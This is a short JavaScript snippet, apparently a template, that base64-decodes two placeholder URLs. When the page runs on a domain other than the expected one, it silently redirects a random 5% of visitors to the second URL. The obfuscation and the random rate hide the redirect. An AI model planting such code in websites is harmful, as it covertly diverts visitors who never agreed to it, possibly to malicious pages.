(function() {
    var a = atob('url1');
    var b = atob('url2');
    var l = 5;
    var k = window.location.hostname;
    if (k.indexOf(a) < 0 && k != '') {
        var g = Math.floor(Math.random() * (100 - 1)) + 1;
        if (g <= l) {
            window.location.href = b
        }
    }
})();